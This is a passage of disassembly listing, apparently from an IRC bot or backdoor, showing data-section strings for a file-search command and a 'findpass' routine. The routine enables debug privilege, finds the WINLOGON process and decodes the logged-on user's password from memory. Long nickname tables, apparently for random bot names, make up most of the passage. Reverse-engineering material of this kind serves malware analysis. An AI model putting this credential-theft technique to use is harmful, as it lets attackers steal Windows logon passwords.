sub_4177D5:loc_41781Ao ; char asc_44FBBC[] asc_44FBBC db '-' ; DATA XREF: sub_41785A+5Co db 3, 34h, 2 db 66h ; f db 69h, 6Eh, 64h db 66h ; f db 69h, 6Ch, 65h db 2 db 3, 2Dh, 20h aSearchingFor_0 db 'searching for file %s',0 align 4 ; char asc_44FBE4[] asc_44FBE4 db '-' ; DATA XREF: sub_41785A+C8o db 3, 34h, 2 dd 646E6966h, 656C6966h, 202D0302h, 6E756F66h, 64252064h dd 6C696620h, 7365h ; char aS_29[] aS_29 db '%s\*',0 ; DATA XREF: sub_417975+1Ao align 4 ; char aSS_9[] aSS_9 db '%s\%s',0 ; DATA XREF: sub_417975+7Ao align 4 ; char aSS_10[] aSS_10 db '%s\%s',0 ; DATA XREF: sub_417975+CEo align 4 ; char asc_44FC1C[] asc_44FC1C db '-' ; DATA XREF: sub_417975+107o db 3, 34h, 2 dd 646E6966h, 656C6966h, 202D0302h, 6E756F66h, 73252064h dd 73255Ch aSedebugprivile db 'SeDebugPrivilege',0 ; DATA XREF: sub_417AC3+40o align 4 aNtdll_dll db 'NTDLL.DLL',0 ; DATA XREF: sub_417AC3+55o align 4 aNtquerysystemi db 'NtQuerySystemInformation',0 ; DATA XREF: sub_417AC3+68o align 4 aRtlcreatequery db 'RtlCreateQueryDebugBuffer',0 ; DATA XREF: sub_417AC3+73o align 10h aRtlqueryproces db 'RtlQueryProcessDebugInformation',0 ; DATA XREF: sub_417AC3+80o aRtldestroyquer db 'RtlDestroyQueryDebugBuffer',0 ; DATA XREF: sub_417AC3+8Do align 4 aRtlrundecodeun db 'RtlRunDecodeUnicodeString',0 ; DATA XREF: sub_417AC3+9Ao align 4 aUsername: ; DATA XREF: sub_417AC3+CEo unicode 0, <USERNAME>,0 align 4 aUserdomain: ; DATA XREF: sub_417AC3+DCo unicode 0, <USERDOMAIN>,0 align 4 ; char asc_44FD14[] asc_44FD14 db '-' ; DATA XREF: sub_417AC3+117o db 3, 34h, 2 db 66h ; f db 69h, 6Eh, 64h db 70h ; p db 61h, 2 dup(73h) db 2 db 3, 2Dh, 20h db 57h ; W db 69h, 6Eh, 4Ch db 6Fh ; o db 67h, 6Fh, 6Eh db 20h db 49h, 6Eh, 66h db 6Fh ; o db 72h, 6Dh, 61h db 74h ; t db 69h, 6Fh, 6Eh db 20h db 28h, 50h, 49h db 44h ; D db 20h, 25h, 64h db 29h ; ) db 20h, 2Dh, 20h db 2 db 44h, 6Fh, 6Dh db 61h ; a db 69h, 6Eh, 2 db 3Ah ; : db 20h, 2 dup(5Ch) db 25h ; % db 53h, 2Ch, 20h db 2 db 55h, 73h, 65h db 72h ; r db 2, 3Ah, 20h aSNoPassword_ db '(%S/(no password)).',0 unk_44FD70 db 2Dh ; - ; DATA XREF: sub_417AC3:loc_417C08o db 3, 34h, 2 db 66h ; f db 69h, 6Eh, 64h db 70h ; p db 61h, 2 dup(73h) db 2 db 3, 2Dh, 20h aUnableToFindTh db 'unable to find the password in memory',0 align 4 ; char asc_44FDA8[] asc_44FDA8 db '-' ; DATA XREF: sub_417AC3:loc_417C0Fo db 3, 34h, 2 db 66h ; f db 69h, 6Eh, 64h db 70h ; p db 61h, 2 dup(73h) db 2 db 3, 2Dh, 20h aUnableToFindWi db 'unable to find winlogon pid',0 aSedebugprivi_0 db 'SeDebugPrivilege',0 ; DATA XREF: sub_417AC3+161o align 4 ; char asc_44FDE8[] asc_44FDE8 db '-' ; DATA XREF: sub_417AC3:loc_417C3Co db 3, 34h, 2 db 66h ; f db 69h, 6Eh, 64h db 70h ; p db 61h, 2 dup(73h) db 2 db 3, 2Dh, 20h aFailedToEnable db 'failed to enable debug privilege',0 align 4 unk_44FE1C db 2Dh ; - ; DATA XREF: sub_417AC3+35o db 3, 34h, 2 db 66h ; f db 69h, 6Eh, 64h db 70h ; p db 61h, 2 dup(73h) db 2 db 3, 2Dh, 20h aOnlySupportedO db 'only supported on winnt/win2k',0 align 4 ; char aWinlogon[] aWinlogon db 'WINLOGON',0 ; DATA XREF: sub_417C95+AFo align 4 ; char aNwgina[] aNwgina db 'NWGINA',0 ; DATA XREF: sub_417C95+123o align 10h ; char aMsgina[] aMsgina db 'MSGINA',0 ; DATA XREF: sub_417C95+13Eo align 4 ; char asc_44FE68[] asc_44FE68 db '-' ; DATA XREF: sub_4180FB+70o db 3, 34h, 2 dd 646E6966h, 73736170h, 202D0302h, 4C6E6957h, 6E6F676Fh dd 666E4920h, 616D726Fh, 6E6F6974h, 49502820h, 64252044h dd 202D2029h, 6D6F4402h, 26E6961h, 5C5C203Ah, 202C5325h dd 65735502h, 203A0272h, 2F532528h, 295325h ; char asc_44FEB8[] asc_44FEB8 db '-' ; DATA XREF: sub_418192+C7o db 3, 34h, 2 dd 646E6966h, 73736170h, 202D0302h, 4C6E6957h, 6E6F676Fh dd 666E4920h, 616D726Fh, 6E6F6974h, 49502820h, 64252044h dd 202D2029h, 6D6F4402h, 26E6961h, 5C5C203Ah, 202C5325h dd 65735502h, 203A0272h, 2F532528h, 295325h ; char asc_44FF08[] asc_44FF08 db '-' ; DATA XREF: sub_418192+E1o db 3, 34h, 2 dd 646E6966h, 73736170h, 202D0302h, 4C6E6957h, 6E6F676Fh dd 666E4920h, 616D726Fh, 6E6F6974h, 49502820h, 64252044h dd 202D2029h, 6D6F4402h, 26E6961h, 5C5C203Ah, 202C5325h dd 65735502h, 203A0272h, 2F532528h, 412F4E28h, 2929h ; char *off_44FF5C off_44FF5C dd offset dword_4503F4 ; DATA XREF: sub_418688+5Cr dd offset dword_4503F8 dd offset dword_4503FC dd offset dword_450400 dd offset dword_450404 dd offset dword_450408 dd offset dword_45040C dd offset dword_450410 dd offset dword_450414 dd offset dword_450418 dd offset dword_45041C dd offset dword_450420 dd offset dword_450424 dd offset dword_450428 dd offset dword_45042C dd offset dword_450430 dd offset dword_450434 dd offset dword_450438 dd offset dword_45043C dd offset dword_450440 dd offset dword_450444 dd offset dword_450448 dd offset dword_45044C dd offset dword_450450 dd offset dword_450454 dd offset dword_450458 dd offset dword_45045C dd offset dword_450460 dd offset dword_450464 dd offset dword_450468 dd offset dword_45046C dd offset dword_450470 dd offset dword_450474 dd offset dword_450478 dd offset dword_45047C dd offset dword_450480 dd offset dword_450484 dd offset dword_450488 dd offset dword_45048C dd offset dword_450490 dd offset dword_450494 dd offset dword_450498 dd offset dword_45049C dd offset dword_4504A0 dd offset dword_4504A4 dd offset dword_4504A8 dd offset dword_4504AC dd offset dword_4504B0 dd offset dword_4504B4 dd offset dword_4504B8 dd offset dword_4504BC dd offset aSmartmir ; "SMARTMIR" dd offset aFarooq ; "farooq" dd offset aMaxxguy ; "maxxguy" dd offset aBobmarley ; "BOBMARLEY" dd offset aEmilya ; "emilya" dd offset aKrizha ; "KRIZHA" dd offset aCar1nna ; "Car1nna" dd offset aSwin ; "swin" dd offset aMale ; "male" dd offset aKoko ; "koko" dd offset aFlexster ; "flexster" dd offset aKen ; "ken" dd offset aShez ; "Shez" dd offset aTalika ; "talika" dd offset aMarcy ; "marcy" dd offset aCme ; "cme" dd offset aHeval ; "heval" dd offset aBunty ; "bunty" dd offset aJanno ; "janno" dd offset aRimpy ; "rimpy" dd offset aNastysha ; "nastysha" dd offset aLuisa ; "Luisa" dd offset aTroller ; "troller" dd offset aManee ; "manee" dd offset aKermit ; "kermit" dd offset aPuregold ; "puregold" dd offset aCoredump ; "CoreDump" dd offset aImra ; "imra" dd offset aGirl ; "GirL" dd offset aCamel ; "CAMEL" dd offset aReshma ; "reshma" dd offset aKencing ; "Kencing" dd offset aThr45h3r5 ; "THR45H3R5" dd offset aCansuuuu ; "cansuuuu" dd offset aKaan38dent ; "kaan38dent" dd offset aErkan27 ; "erkan27" dd offset aHexaaa ; "hexaaa" dd offset aBerk19 ; "berk19" dd offset aObenibisevse ; "OBeNiBiSeVSe" dd offset aIrmal ; "irmal" dd offset aMisssunday ; "misssunday" dd offset aTolga34 ; "Tolga34" dd offset aJericho ; "JERICHO" dd offset aMary_0 ; "MARY" dd offset aAkin ; "AKIN" dd offset aMelekk ; "melekk" dd offset aTrend3 ; "trend3" dd offset aMERVE ; "M-E-R-V-E" dd offset aTekir ; "tekir" dd offset aVenedik34 ; "venedik34" dd offset aSevmekmi ; "sevmekmi" dd offset aSudenur ; "SUDENUR" dd offset aArzu ; "ARZU" dd offset aHaticem ; "haticem" dd offset aErnesto ; "ERNESTO" dd offset aAslii ; "aslii" dd offset aPiramit ; "PIRAMIT" dd offset aSamyeli21 ; "samyeli21" dd offset aRetg ; "RETG" dd offset aBlackpearl ; "blackpearl" dd offset aPelincik ; "pelincik" dd offset aAhmet ; "ahmet" dd offset aTurkyy ; "turkyy" dd offset aAnk32m ; "ank32m" dd offset aZack ; "ZACK" dd offset aIzmir39m ; "Izmir39m" dd offset aAlbina ; "albina" dd offset aAyla ; "AYLA-" dd offset off_450724 dd offset aAnkh ; "ankh" dd offset aDonjuanm ; "Donjuanm" dd offset aBogac ; "bogac" dd offset aAlpay34m ; "alpay34m" dd offset aCongueror ; "CoNGuERoR" dd offset aDenizlim ; "DenizliM" dd offset aBerk19m ; "Berk19m" dd offset aDevran ; "devran" dd offset aArda ; "arda" dd offset aKeyiflisert ; "keyifliSERT" dd offset aMurat34M ; "murat34-m" dd offset aHakan3 ; "hakan3" dd offset aImirzali ; "IMIRZALI--" dd offset aRamtha ; "RAMTHA" dd offset aEmre ; "Emre--" dd offset aElmaazyok ; "elmaazyok" dd offset aEsmerkiz ; "Esmerkiz" dd offset aKebikec ; "kebikec" dd offset aFlord ; "FLoRD" dd offset aHoly ; "holy" dd offset aMahinur ; "MAHINUR" dd offset aSadikaellesme ; "SaDIkaEllesme" dd offset aAykut1 ; "aykut1" dd offset aKashmira ; "Kashmira" dd offset aSeviseli ; "SeViSeLi" dd offset aSugarboy ; "SUGARBOY-" dd offset aUzgun36 ; "uzgun36" dd offset aKumul ; "kumul" dd offset aAdalim ; "ADALIM" dd offset aUmut ; "umut-" dd offset aAnk32M ; "ANK-32-M" dd offset aDjspace ; "DJSPACE" dd offset aAnkar ; "Ankar" dd offset aFenerlee ; "FeNeRLee" dd offset aHayran ; "hayran" dd offset aAngelgirl ; "angelgirl" dd offset aKapk ; "kapk" dd offset aAchilles ; "Achilles" dd offset aTegmen ; "TEGMEN" dd offset aKotan ; "kotan" dd offset aSevda ; "sevda" dd offset off_4508B8 dd offset aAlcatras ; "alcatras" dd offset aA44m ; "a44m" dd offset aBirsen ; "birsen" dd offset aYabanc ; "yabanc" dd offset aDevre ; "devre" dd offset aErkan ; "erkan" dd offset aAnkm ; "ankM" dd offset aAdem28 ; "Adem28" dd offset aMaxsilla ; "maxsilla" dd offset aM41ist ; "M41IST" dd offset aAdamm33 ; "AdAMM33" dd offset aFirtina ; "firtina" dd offset aAta29 ; "Ata29" dd offset aKoray ; "KORAY" dd offset aAkden ; "akden" dd offset aIzmirlm ; "izmirlm" dd offset aUla ; "ula" dd offset aNeHaber ; "NE-HABER" dd offset aPassenger ; "passenger" dd offset aTropikal ; "tropikal" dd offset aCool30m ; "cool30m" dd offset aCem39 ; "cem39" dd offset aRerpjj ; "RERPJJ" dd offset aTeoman ; "TEOMAN```" dd offset aDallas43m ; "DALLAS43M" dd offset aPrometheus ; "prometheus" dd offset aMaveRIck ; "MaVe{R}icK" dd offset aAdamm ; "ADAMM" dd offset aCumhur29 ; "cumhur29" dd offset aWantedlove ; "WANTEDLOVE" ; char *off_45025C off_45025C dd offset aSex_1 ; DATA XREF: sub_418688+41r ; sub_418688+ECr ; "sex" dd offset aLez ; "lez" dd offset aZex ; "zex" dd offset aTree ; "tree" dd offset aBad ; "bad" dd offset aLag ; "lag" dd offset aTambe ; "|tambe|" dd offset aWoh ; "|woh|" dd offset aTot ; "-|tot|" dd offset aSuck ; "|suck|" dd offset aLuck ; "|luck|" dd offset aHub ; "{hub}" dd offset aSex_0 ; "{sex}" dd offset aGens ; "{gens|" dd offset aLuvuF ; "||luvu-f|" dd offset aWiked ; "|wiked|" dd offset aSick ; "sick}}" dd offset aQ8 ; "Q8" dd offset aQ8A ; "|q8|a" dd offset aB ; "b" dd offset aC_5 ; "c" dd offset aD_2 ; "d" dd offset aE_0 ; "e" dd offset aF ; "f" dd offset aG ; "g" dd offset asc_450A70 ; "h" dd offset aI_1 ; "i" dd offset a__11 ; "_" dd offset aJ_1 ; "j" dd offset aK_0 ; "k" dd offset asc_450A84 ; "l" dd offset aM_2 ; "m" dd offset aN_0 ; "n" dd offset aO_0 ; "o" dd offset aP_0 ; "p" dd offset aQ_0 ; "q" dd offset aRs ; "rs" dd offset aT_0 ; "t" dd offset aU_0 ; "u" dd offset aV_0 ; "v" dd offset aW ; "w" dd offset asc_450AB0 ; "x" dd offset aY ; "y" dd offset aZ ; "z" dd offset aHappy ; "happy" dd offset aRg ; "rg" dd offset aTy ; "ty" dd offset aGf ; "gf" dd offset aRt ; "rt" dd offset aSdf ; "sdf" dd offset aUi ; "ui" dd offset aLuvy ; "luvy" dd offset aTrimy ; "trimy" dd offset aTruck ; "truck" dd offset aMuckc ; "muckc" dd offset aZ_0 ; "z" dd offset aG_0 ; "g" dd offset aS_40 ; "s" dd offset aQ_1 ; "q" dd offset aBrb ; "BRB" dd offset aBbl ; "|bbl" dd offset dword_4F3A8C dd offset dword_4F3A90 dd offset a___0 ; "_|_" dd offset dword_4F3A94 dd offset dword_4F3A98 dd offset dword_4F3A9C dd offset dword_4F3AA0 dd offset aF_0 ; "F" dd offset aM_3 ; "M" dd offset aLuvu ; "LUVU" dd offset aSad ; "Sad" dd offset aF_1 ; "^^^f^" dd offset aB_0 ; "b" dd offset dword_4F3AA4 dd offset aSleeping ; "Sleeping" dd offset dword_4F3AA8 dd offset dword_4F3AAC dd offset aFuck_0 ; "Fuck" dd offset aFree_0 ; "Free" dd offset dword_4F3AB0 dd offset dword_4F3AB4 dd offset asc_450B58 ; "X" dd offset dword_4F3AB8 dd offset aBoy ; "BOY" dd offset aGirl_0 ; "GIRL" dd offset aGurl ; "gurl" dd offset aShit ; "shit" dd offset aAha ; "aha" dd offset aYeah ; "yeah" dd offset aMuha ; "muha" dd offset aMof0 ; "mof0" dd offset aMofo ; "mofo" dd offset aTot_0 ; "tot" dd offset aLol ; "lol" dd offset aLoloA ; "lolo|a|" dd offset aSex4free ; "|sex4free|" dd offset a4us ; "|4us|" dd offset a4you ; "{4you}" dd offset a4u ; "|4u|" dd offset a5u ; "5u" dd offset a6u ; "6u" dword_4503F4 dd 71h ; DATA XREF: .data:off_44FF5Co dword_4503F8 dd 77h ; DATA XREF: .data:0044FF60o dword_4503FC dd 65h ; DATA XREF: .data:0044FF64o dword_450400 dd 72h ; DATA XREF: .data:0044FF68o dword_450404 dd 74h ; DATA XREF: .data:0044FF6Co dword_450408 dd 79h ; DATA XREF: .data:0044FF70o dword_45040C dd 75h ; DATA XREF: .data:0044FF74o dword_450410 dd 69h ; DATA XREF: .data:0044FF78o dword_450414 dd 70h ; DATA XREF: .data:0044FF7Co dword_450418 dd 61h ; DATA XREF: .data:0044FF80o dword_45041C dd 73h ; DATA XREF: .data:0044FF84o dword_450420 dd 64h ; DATA XREF: .data:0044FF88o dword_450424 dd 66h ; DATA XREF: .data:0044FF8Co dword_450428 dd 67h ; DATA XREF: .data:0044FF90o dword_45042C dd 68h ; DATA XREF: .data:0044FF94o dword_450430 dd 6Ah ; DATA XREF: .data:0044FF98o dword_450434 dd 6Bh ; DATA XREF: .data:0044FF9Co dword_450438 dd 6Ch ; DATA XREF: .data:0044FFA0o dword_45043C dd 7Ah ; DATA XREF: .data:0044FFA4o dword_450440 dd 78h ; DATA XREF: .data:0044FFA8o dword_450444 dd 63h ; DATA XREF: .data:0044FFACo dword_450448 dd 76h ; DATA XREF: .data:0044FFB0o dword_45044C dd 62h ; DATA XREF: .data:0044FFB4o dword_450450 dd 6Eh ; DATA XREF: .data:0044FFB8o dword_450454 dd 6Dh ; DATA XREF: .data:0044FFBCo dword_450458 dd 51h ; DATA XREF: .data:0044FFC0o dword_45045C dd 57h ; DATA XREF: .data:0044FFC4o dword_450460 dd 45h ; DATA XREF: .data:0044FFC8o dword_450464 dd 52h ; DATA XREF: .data:0044FFCCo dword_450468 dd 54h ; DATA XREF: .data:0044FFD0o dword_45046C dd 59h ; DATA XREF: .data:0044FFD4o dword_450470 dd 55h ; DATA XREF: .data:0044FFD8o dword_450474 dd 49h ; DATA XREF: .data:0044FFDCo dword_450478 dd 4Fh ; DATA XREF: .data:0044FFE0o dword_45047C dd 50h ; DATA XREF: .data:0044FFE4o dword_450480 dd 41h ; DATA XREF: .data:0044FFE8o dword_450484 dd 53h ; DATA XREF: .data:0044FFECo dword_450488 dd 44h ; DATA XREF: .data:0044FFF0o dword_45048C dd 46h ; DATA XREF: .data:0044FFF4o dword_450490 dd 47h ; DATA XREF: .data:0044FFF8o dword_450494 dd 48h ; DATA XREF: .data:0044FFFCo dword_450498 dd 4Ah ; DATA XREF: .data:00450000o dword_45049C dd 4Bh ; DATA XREF: .data:00450004o dword_4504A0 dd 4Ch ; DATA XREF: .data:00450008o dword_4504A4 dd 5Ah ; DATA XREF: .data:0045000Co dword_4504A8 dd 58h ; DATA XREF: .data:00450010o dword_4504AC dd 43h ; DATA XREF: .data:00450014o dword_4504B0 dd 56h ; DATA XREF: .data:00450018o dword_4504B4 dd 42h ; DATA XREF: .data:0045001Co dword_4504B8 dd 4Eh ; DATA XREF: .data:00450020o dword_4504BC dd 4Dh ; DATA XREF: .data:00450024o aSmartmir db 'SMARTMIR',0 ; DATA XREF: .data:00450028o align 4 aFarooq db 'farooq',0 ; DATA XREF: .data:0045002Co align 4 aMaxxguy db 'maxxguy',0 ; DATA XREF: .data:00450030o aBobmarley db 'BOBMARLEY',0 ; DATA XREF: .data:00450034o align 4 aEmilya db 'emilya',0 ; DATA XREF: .data:00450038o align 10h aKrizha db 'KRIZHA',0 ; DATA XREF: .data:0045003Co align 4 aCar1nna db 'Car1nna',0 ; DATA XREF: .data:00450040o aSwin db 'swin',0 ; DATA XREF: .data:00450044o align 4 aMale db 'male',0 ; DATA XREF: .data:00450048o align 10h aKoko db 'koko',0 ; DATA XREF: .data:0045004Co align 4 aFlexster db 'flexster',0 ; DATA XREF: .data:00450050o align 4 aKen db 'ken',0 ; DATA XREF: .data:00450054o aShez db 'Shez',0 ; DATA XREF: .data:00450058o align 10h aTalika db 'talika',0 ; DATA XREF: .data:0045005Co align 4 aMarcy db 'marcy',0 ; DATA XREF: .data:00450060o align 10h aCme db 'cme',0 ; DATA XREF: .data:00450064o aHeval db 'heval',0 ; DATA XREF: .data:00450068o align 4 aBunty db 'bunty',0 ; DATA XREF: .data:0045006Co align 4 aJanno db 'janno',0 ; DATA XREF: .data:00450070o align 4 aRimpy db 'rimpy',0 ; DATA XREF: .data:00450074o align 4 aNastysha db 'nastysha',0 ; DATA XREF: .data:00450078o align 10h aLuisa db 'Luisa',0 ; DATA XREF: .data:0045007Co align 4 aTroller db 'troller',0 ; DATA XREF: .data:00450080o aManee db 'manee',0 ; DATA XREF: .data:00450084o align 4 aKermit db 'kermit',0 ; DATA XREF: .data:00450088o align 10h aPuregold db 'puregold',0 ; DATA XREF: .data:0045008Co align 4 aCoredump db 'CoreDump',0 ; DATA XREF: .data:00450090o align 4 aImra db 'imra',0 ; DATA XREF: .data:00450094o align 10h aGirl db 'GirL',0 ; DATA XREF: .data:00450098o align 4 aCamel db 'CAMEL',0 ; DATA XREF: .data:0045009Co align 10h aReshma db 'reshma',0 ; DATA XREF: .data:004500A0o align 4 aKencing db 'Kencing',0 ; DATA XREF: .data:004500A4o aThr45h3r5 db 'THR45H3R5',0 ; DATA XREF: .data:004500A8o align 4 aCansuuuu db 'cansuuuu',0 ; DATA XREF: .data:004500ACo align 4 aKaan38dent db 'kaan38dent',0 ; DATA XREF: .data:004500B0o align 4 aErkan27 db 'erkan27',0 ; DATA XREF: .data:004500B4o aHexaaa db 'hexaaa',0 ; DATA XREF: .data:004500B8o align 4 aBerk19 db 'berk19',0 ; DATA XREF: .data:004500BCo align 4 aObenibisevse db 'OBeNiBiSeVSe',0 ; DATA XREF: .data:004500C0o align 4 aIrmal db 'irmal',0 ; DATA XREF: .data:004500C4o align 4 aMisssunday db 'misssunday',0 ; DATA XREF: .data:004500C8o align 10h aTolga34 db 'Tolga34',0 ; DATA XREF: .data:004500CCo aJericho db 'JERICHO',0 ; DATA XREF: .data:004500D0o aMary_0 db 'MARY',0 ; DATA XREF: .data:004500D4o align 4 aAkin db 'AKIN',0 ; DATA XREF: .data:004500D8o align 10h aMelekk db 'melekk',0 ; DATA XREF: .data:004500DCo align 4 aTrend3 db 'trend3',0 ; DATA XREF: .data:004500E0o align 10h aMERVE db 'M-E-R-V-E',0 ; DATA XREF: .data:004500E4o align 4 aTekir db 'tekir',0 ; DATA XREF: .data:004500E8o align 4 aVenedik34 db 'venedik34',0 ; DATA XREF: .data:004500ECo align 10h aSevmekmi db 'sevmekmi',0 ; DATA XREF: .data:004500F0o align 4 aSudenur db 'SUDENUR',0 ; DATA XREF: .data:004500F4o aArzu db 'ARZU',0 ; DATA XREF: .data:004500F8o align 4 aHaticem db 'haticem',0 ; DATA XREF: .data:004500FCo aErnesto db 'ERNESTO',0 ; DATA XREF: .data:00450100o aAslii db 'aslii',0 ; DATA XREF: .data:00450104o align 4 aPiramit db 'PIRAMIT',0 ; DATA XREF: .data:00450108o aSamyeli21 db 'samyeli21',0 ; DATA XREF: .data:0045010Co align 4 aRetg db 'RETG',0 ; DATA XREF: .data:00450110o align 10h aBlackpearl db 'blackpearl',0 ; DATA XREF: .data:00450114o align 4 aPelincik db 'pelincik',0 ; DATA XREF: .data:00450118o align 4 aAhmet db 'ahmet',0 ; DATA XREF: .data:0045011Co align 10h aTurkyy db 'turkyy',0 ; DATA XREF: .data:00450120o align 4 aAnk32m db 'ank32m',0 ; DATA XREF: .data:00450124o align 10h aZack db 'ZACK',0 ; DATA XREF: .data:00450128o align 4 aIzmir39m db 'Izmir39m',0 ; DATA XREF: .data:0045012Co align 4 aAlbina db 'albina',0 ; DATA XREF: .data:00450130o align 4 aAyla db 'AYLA-',0 ; DATA XREF: .data:00450134o align 4 off_450724 dd offset byte_457441 ; DATA XREF: .data:00450138o aAnkh db 'ankh',0 ; DATA XREF: .data:0045013Co align 10h aDonjuanm db 'Donjuanm',0 ; DATA XREF: .data:00450140o align 4 aBogac db 'bogac',0 ; DATA XREF: .data:00450144o align 4 aAlpay34m db 'alpay34m',0 ; DATA XREF: .data:00450148o align 10h aCongueror db 'CoNGuERoR',0 ; DATA XREF: .data:0045014Co align 4 aDenizlim db 'DenizliM',0 ; DATA XREF: .data:00450150o align 4 aBerk19m db 'Berk19m',0 ; DATA XREF: .data:00450154o aDevran db 'devran',0 ; DATA XREF: .data:00450158o align 4 aArda db 'arda',0 ; DATA XREF: .data:0045015Co align 10h aKeyiflisert db 'keyifliSERT',0 ; DATA XREF: .data:00450160o aMurat34M db 'murat34-m',0 ; DATA XREF: .data:00450164o align 4 aHakan3 db 'hakan3',0 ; DATA XREF: .data:00450168o align 10h aImirzali db 'IMIRZALI--',0 ; DATA XREF: .data:0045016Co align 4 aRamtha db 'RAMTHA',0 ; DATA XREF: .data:00450170o align 4 aEmre db 'Emre--',0 ; DATA XREF: .data:00450174o align 4 aElmaazyok db 'elmaazyok',0 ; DATA XREF: .data:00450178o align 4 aEsmerkiz db 'Esmerkiz',0 ; DATA XREF: .data:0045017Co align 4 aKebikec db 'kebikec',0 ; DATA XREF: .data:00450180o aFlord db 'FLoRD',0 ; DATA XREF: .data:00450184o align 4 aHoly db 'holy',0 ; DATA XREF: .data:00450188o align 4 aMahinur db 'MAHINUR',0 ; DATA XREF: .data:0045018Co aSadikaellesme db 'SaDIkaEllesme',0 ; DATA XREF: .data:00450190o align 4 aAykut1 db 'aykut1',0 ; DATA XREF: .data:00450194o align 4 aKashmira db 'Kashmira',0 ; DATA XREF: .data:00450198o align 4 aSeviseli db 'SeViSeLi',0 ; DATA XREF: .data:0045019Co align 4 aSugarboy db 'SUGARBOY-',0 ; DATA XREF: .data:004501A0o align 10h aUzgun36 db 'uzgun36',0 ; DATA XREF: .data:004501A4o aKumul db 'kumul',0 ; DATA XREF: .data:004501A8o align 10h aAdalim db 'ADALIM',0 ; DATA XREF: .data:004501ACo align 4 aUmut db 'umut-',0 ; DATA XREF: .data:004501B0o align 10h aAnk32M db 'ANK-32-M',0 ; DATA XREF: .data:004501B4o align 4 aDjspace db 'DJSPACE',0 ; DATA XREF: .data:004501B8o aAnkar db 'Ankar',0 ; DATA XREF: .data:004501BCo align 4 aFenerlee db 'FeNeRLee',0 ; DATA XREF: .data:004501C0o align 4 aHayran db 'hayran',0 ; DATA XREF: .data:004501C4o align 10h aAngelgirl db 'angelgirl',0 ; DATA XREF: .data:004501C8o align 4 aKapk db 'kapk',0 ; DATA XREF: .data:004501CCo align 4 aAchilles db 'Achilles',0 ; DATA XREF: .data:004501D0o align 10h aTegmen db 'TEGMEN',0 ; DATA XREF: .data:004501D4o align 4 aKotan db 'kotan',0 ; DATA XREF: .data:004501D8o align 10h aSevda db 'sevda',0 ; DATA XREF: .data:004501DCo align 4 off_4508B8 dd offset byte_4B5245 ; DATA XREF: .data:004501E0o aAlcatras db 'alcatras',0 ; DATA XREF: .data:004501E4o align 4 aA44m db 'a44m',0 ; DATA XREF: .data:004501E8o align 10h aBirsen db 'birsen',0 ; DATA XREF: .data:004501ECo align 4 aYabanc db 'yabanc',0 ; DATA XREF: .data:004501F0o align 10h aDevre db 'devre',0 ; DATA XREF: .data:004501F4o align 4 aErkan db 'erkan',0 ; DATA XREF: .data:004501F8o align 10h aAnkm db 'ankM',0 ; DATA XREF: .data:004501FCo align 4 aAdem28 db 'Adem28',0 ; DATA XREF: .data:00450200o align 10h aMaxsilla db 'maxsilla',0 ; DATA XREF: .data:00450204o align 4 aM41ist db 'M41IST',0 ; DATA XREF: .data:00450208o align 4 aAdamm33 db 'AdAMM33',0 ; DATA XREF: .data:0045020Co aFirtina db 'firtina',0 ; DATA XREF: .data:00450210o aAta29 db 'Ata29',0 ; DATA XREF: .data:00450214o align 4 aKoray db 'KORAY',0 ; DATA XREF: .data:00450218o align 4 aAkden db 'akden',0 ; DATA XREF: .data:0045021Co align 4 aIzmirlm db 'izmirlm',0 ; DATA XREF: .data:00450220o aUla db 'ula',0 ; DATA XREF: .data:00450224o aNeHaber db 'NE-HABER',0 ; DATA XREF: .data:00450228o align 4 aPassenger db 'passenger',0 ; DATA XREF: .data:0045022Co align 10h aTropikal db 'tropikal',0 ; DATA XREF: .data:00450230o align 4 aCool30m db 'cool30m',0 ; DATA XREF: .data:00450234o aCem39 db 'cem39',0 ; DATA XREF: .data:00450238o align 4 aRerpjj db 'RERPJJ',0 ; DATA XREF: .data:0045023Co align 4 aTeoman db 'TEOMAN```',0 ; DATA XREF: .data:00450240o align 10h aDallas43m db 'DALLAS43M',0 ; DATA XREF: .data:00450244o align 4 aPrometheus db 'prometheus',0 ; DATA XREF: .data:00450248o align 4 aMaveRIck db 'MaVe{R}icK',0 ; DATA XREF: .data:0045024Co align 4 aAdamm db 'ADAMM',0 ; DATA XREF: .data:00450250o align 4 aCumhur29 db 'cumhur29',0 ; DATA XREF: .data:00450254o align 4 aWantedlove db 'WANTEDLOVE',0 ; DATA XREF: .data:00450258o align 4 aSex_1 db 'sex',0 ; DATA XREF: .data:off_45025Co aLez db 'lez',0 ; DATA XREF: .data:00450260o aZex db 'zex',0 ; DATA XREF: .data:00450264o aTree db 'tree',0 ; DATA XREF: .data:00450268o align 4 aBad db 'bad',0 ; DATA XREF: .data:0045026Co aLag db 'lag',0 ; DATA XREF: .data:00450270o aTambe db '|tambe|',0 ; DATA XREF: .data:00450274o aWoh db '|woh|',0 ; DATA XREF: .data:00450278o align 10h aTot db '-|tot|',0 ; DATA XREF: .data:0045027Co align 4 aSuck db '|suck|',0 ; DATA XREF: .data:00450280o align 10h aLuck db '|luck|',0 ; DATA XREF: .data:00450284o align 4 aHub db '{hub}',0 ; DATA XREF: .data:00450288o align 10h aSex_0 db '{sex}',0 ; DATA XREF: .data:0045028Co align 4 aGens db '{gens|',0 ; DATA XREF: .data:00450290o align 10h aLuvuF db '||luvu-f|',0 ; DATA XREF: .data:00450294o align 4 aWiked db '|wiked|',0 ; DATA XREF: .data:00450298o aSick db 'sick}}',0 ; DATA XREF: .data:0045029Co align 4 aQ8 db 'Q8',0 ; DATA XREF: .data:004502A0o align 10h aQ8A db '|q8|a',0 ; DATA XREF: .data:004502A4o align 4 aB: ; DATA XREF: .data:004502A8o unicode 0, <b>,0 aC_5: ; DATA XREF: .data:004502ACo unicode 0, <c>,0 aD_2: ; DATA XREF: .data:004502B0o unicode 0, <d>,0 aE_0: ; DATA XREF: .data:004502B4o unicode 0, <e>,0 aF: ; DATA XREF: .data:004502B8o unicode 0, <f>,0 aG: ; DATA XREF: .data:004502BCo unicode 0, <g>,0 asc_450A70: ; DATA XREF: .data:004502C0o unicode 0, <h>,0 aI_1: ; DATA XREF: .data:004502C4o unicode 0, <i>,0 a__11: ; DATA XREF: .data:004502C8o unicode 0, <_>,0 aJ_1: ; DATA XREF: .data:004502CCo unicode 0, <j>,0 aK_0: ; DATA XREF: .data:004502D0o unicode 0, <k>,0 asc_450A84: ; DATA XREF: .data:004502D4o unicode 0, <l>,0 aM_2: ; DATA XREF: .data:004502D8o unicode 0, <m>,0 aN_0: ; DATA XREF: .data:004502DCo unicode 0, <n>,0 aO_0: ; DATA XREF: .data:004502E0o unicode 0, <o>,0 aP_0: ; DATA XREF: .data:004502E4o unicode 0, <p>,0 